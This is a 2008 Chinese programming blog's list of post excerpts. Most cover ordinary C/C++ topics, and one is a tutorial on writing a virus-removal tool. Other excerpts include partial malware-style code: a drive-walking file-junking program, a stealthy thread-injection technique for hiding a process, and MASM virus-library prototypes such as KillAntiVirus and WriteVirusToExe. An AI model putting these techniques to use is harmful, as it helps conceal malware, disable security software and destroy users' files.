博文

删除文件功能的程序(2008-06-15 20:32:00)

摘要:/**********************************
IN FACT,IT"S NOT A VIRYUS AT ALL.
**********************************/ #include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h> /* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
    FILE *in,*out;     in = fopen(infile,"r");
    out = fopen(outfile,"w");     while (!feof(in))
    {
        fputc(fgetc(in),out);
    }     fclose(in);
    fclose(out);
} /* This function  named Rubbishmaker. */
void MakeRubbish()
{
    int i;   
    FILE *fp;
    char *path;
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"};
   ......

阅读全文(1691) | 评论:0 | 复制链接

字符串原样输出技巧(2008-06-07 20:41:00)

摘要:有什么方便的方式向文件中输入以下内容
for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k 使用
#include <stdio.h> int main()
{
    FILE *output = NULL;
 if((output=fopen("$.bat","w"))==NULL)
  return -1 ;
 
 fprintf(output,"for /f \"tokens=1-4 delims=:. \" %%%%h in (\"%%time%%\") do set start_=%%%%h%%%%i%%%%j%%%%k\n");
 fclose(output);
 
    return 0;
}
对吗? 对的,但是你有没有感觉累呀!比如这个字符串很长很长 不断的对这些特殊字符进行手工调整,不累夸你!怎么办呢?动脑筋呀! 下面就是使用宏定义方式的实现了这个功能 VC 下通过 2008/6/7 #include <iostream.h>
#include<fstream.h>
#define FPrint(x) fout<< #x << endl
#define Print(x) cout << #x << endl int main()
{
    ofstream fout("ds.txt");
 FPrint(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n);
 Print(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n);
 f......

阅读全文(3358) | 评论:2 | 复制链接

病毒专杀工具自己编(2008-06-06 21:27:00)

摘要:此文中讲解的病毒专杀工具是针对木马、蠕虫等独立的程序而言的广义的病毒而言,而不是指那种自我复制感染PE文件的依附于其他程序的那种狭义的病毒。因为写那种病毒的专杀工具需要PE文件结构等知识,相对而言有点难度,所以我们就先从相对简单点的开始,难的以后再介绍。


对于大多数病毒而言,杀毒的思路其实很简单,那就是:终止病毒的进程、删除自启动项目(一般在注册表中的run*主键下)、删除病毒文件,对设置了文件关联的病毒而言还要修改注册表恢复文件关联。下面将分别陈述。


一.终止进程


以前网上曾有许多朋友问我怎么根据文件名终止指定进程,为什么使用函数TerminateProcess()不能直接终止指定进程。首先让我们来看看函数TerminateProcess()的声明吧:Bool TerminateProcess(HANDLE hPeocess,UINT uExitCode),其中第一个参数为进程句柄,而不是进程名称(文件名)。那怎样才能获得指定进程的句柄呢?我们可以使用函数OpenProcess(),其原型为


HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问标志
BOOL bInheritHandle, // 处理继承的标志
DWORD dwProcessId // 进程标识号,即进程ID
);
在使用时只要在main()主函数里调用函数KillProcessFromName(),把参数设为你要终止的进程的名称即可,Win9X则需包括路径。还有一点值得注意一下,就是别忘了#include 。


二、删除文件

这一步骤很简单,调用函数DeleteFile()即可,Bool DeleteFile(LPCTSTR lpFilename),把lpFilename设要指向删除的文件的文件名的指针即可,可包含具体路径。


三、修改注册表,删除启动项及文件关联


首先用函数RegOpenKeyEx()打开目标主键,RegOpenKeyEx()函数原型为:


LONG RegOpenKeyEx(
HKEY ......

阅读全文(1869) | 评论:1 | 复制链接

WinNT & Win2K下实现进程的完全隐藏(2008-06-06 21:24:00)

摘要:WinNT & Win2K下实现进程的完全隐藏 作者:AntGhazi 主页:antghazi.yeah.net  面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,
希望能够对一些初学与进阶者有所帮助。
    关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四>》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。
在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程
DWORD stdcall ThreadProc(LPVOID *lpVoid){
    return 0;
}
然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。
以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子
//远程线程执行体
DWORD __stdcall ThreadProc (void *lpPara){
  return 0;
}
int main(int argc, char* argv[]){
  const DWO......

阅读全文(1481) | 评论:0 | 复制链接

附加一个线程在 explorer.exe 上执行代码(2008-06-06 21:21:00)

摘要:以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。 感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵!  不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员.  ;##########################################################
; Shadow MASM Public Function Library
;########################################################## ;##########################################################
 GetWindowsVer proto
 KillAntiVirus  proto
 vBackupFile proto
 ReadVirusToMem proto :DWORD
 WriteVirusToExe proto :DWORD, :DWORD
;##########################################################
;##########################################################
; 判断 Windows 版本 测试通过
;##########################################################
 GetWindowsVer proc
  LOCAL OSVI:OSVERSIONINFO
  mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)
  invoke GetVersionEx,addr OSVI
&nb......

阅读全文(2889) | 评论:0 | 复制链接

VC平台下汇编和C的嵌套使用示例(2008-06-01 19:30:00)

摘要: 内联汇编调用C/C++函数必须自己清除堆栈,下面是一个调用C/C++函数例子: #include <stdio.h> char szformat[]= "%s %s\n" ;
char szHello[] = "Hello" ;
char szWorld[] = "world" ; void main()
{
    __asm
    {
        MOV EAX,OFFSET szWorld
        PUSH EAX
        MOV EAX,OFFSET szHello
        PUSH EAX
        MOV EAX,OFFSET szformat
        PUSH EAX
        CALL printf
       
        ; 内联汇编调用C函数必须自己清除堆栈
        ; 用不使用的EBX寄存器清除堆栈,或ADD ESP, 12
        POP EBX
        POP EBX
    &......

阅读全文(2707) | 评论:0 | 复制链接

遍历目录树(2008-05-31 18:12:00)

摘要:  //从任意节点开始遍历目录树,Copyright   (C)   Y.B.Chen
  //已经在   Borland   C++   3.1   for   DOS   和   Borland   C++   Builder   6.0   下编译通过 
  
  #include   <stdio.h> 
  #include   <conio.h> 
  #include   <dir.h> 
  #include   <dos.h> 
  #include   <string.h> 
  
 int   lines   =   0;   //保存已经显示出几行了,如果到了一屏需要暂停
 int   bQuit   =   0;   //是否按了Esc键,如果按了Esc键,此数为非零,程序退出 
  
  void   clines(void)   //计算已经输出的行数,如果满一屏就暂停 
  { 
      unsigned   int   k; 
  &......

阅读全文(2885) | 评论:0 | 复制链接

traits 使用特性(2008-05-21 22:45:00)

摘要://  VC6.0 2008/5/20 #include "iostream"
using namespace std; class SimpleCompareTrait { };
class ComplexCompareTrait { }; template<class T> class ComplexCompare
{
public:
 typedef T ValueType;
 typedef ComplexCompareTrait CompareTrait;
}; template<class T> class SimpleCompare
{
public:
 typedef T ValueType;
 typedef SimpleCompareTrait CompareTrait;
}; template<class T, class Iterator, class Compare>
Iterator __LowerBound(Iterator first, Iterator last, T val,
       Compare comp, ComplexCompareTrait)
{
 size_t len = 0;
 size_t half;
 Iterator middle;
 
 len = last - first;
 while (len > 0)
 {
  half = len >> 1;
  middle = first;
  middle += half;
  if (comp(*middle, val) < 0)
  {
   first = middle;
   ++first;
   len = le......

阅读全文(1529) | 评论:0 | 复制链接

线程创建示例(2008-05-17 21:23:00)

摘要:// 控制台程序 vc 6.0 运行通过 #include "afx.h" #include #include using namespace std; DWORD WINAPI Func(LPVOID p); typedef struct { int firstArgu; long secArgu; } MyType,*pMyType; void main() { MyType MyTypeArgu={0}; MyTypeArgu.firstArgu=1; MyTypeArgu.secArgu=100000000; CreateThread(NULL,0,Func,&MyTypeArgu,0,NULL); Sleep(5000); cout......

阅读全文(1907) | 评论:0 | 复制链接

Argument Dependent Lookup (ADL)解析(2008-05-17 19:32:00)

摘要: ADL,参数相关查找,也称作为Koenig查找(以Andrew Koenig的名字命名,有兴趣可以看Scott Meyer的文章The Most Important C++ People...Ever),是指在编译器对无限定域的函数调用进行名字查找时,所应用的一种查找规则。 f(x, y, z); // unqualified
N::f(x, y, z); // qualified
上面的函数调用,第一个f就是无限定域的函数调用,第二个则限定了在名字空间N里面,也是说使用了完全限定名。 我们首先来看一个函数所在的域的分类: 1:类域(函数作为某个类的成员函数(静态或非静态)) 2:名字空间域 3:全局域 而Koenig查找,它的规则就是当编译器对无限定域的函数调用进行名字查找时,除了当前名字空间域以外,也会把函数参数类型所处的名字空间加入查找的范围。 Herb提供的解释(Exceptional C++, Item 31) Koenig Lookup(simplified): If you supply a function argument of class type (here x, of type A::X), then to look up the correct function name the compiler considers matching names in the namespace (here A) containing the argument's type. 请看下面的例程: #include <iostream>
using namespace std;

namespace Koenig
...{
    class KoenigArg
    ...{
    public:
          ostream& print(ostream& out) c......

阅读全文(3504) | 评论:0 | 复制链接